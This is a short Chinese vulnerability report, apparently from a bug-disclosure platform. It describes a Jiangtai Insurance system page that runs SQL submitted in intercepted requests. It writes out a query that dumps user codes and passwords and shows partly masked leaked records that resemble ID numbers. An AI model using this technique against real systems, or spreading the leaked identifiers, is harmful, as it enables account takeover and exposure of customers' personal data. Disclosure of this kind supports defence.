江泰保险某系统某处设计不当可直接可执行SQL影响账号密码及大量客户保单信息

设计不当

mask 区域

1.http://**.**.**/

分析一处页面，通过抓包可直接执行SQL：

mask 区域

1.http://**.**.**/index/indexTest.jsp

抓包：

条件执行，repeat请求包，去掉条件：

select usercode,password from LDQueryUser&1&0&0

发送得到返回如下：

拿到了大量账号密码：

mask 区域

*****1^522530199603130016|130016^5225011964110*****

截取部分报文尝试登陆：

解决方案：

见上分析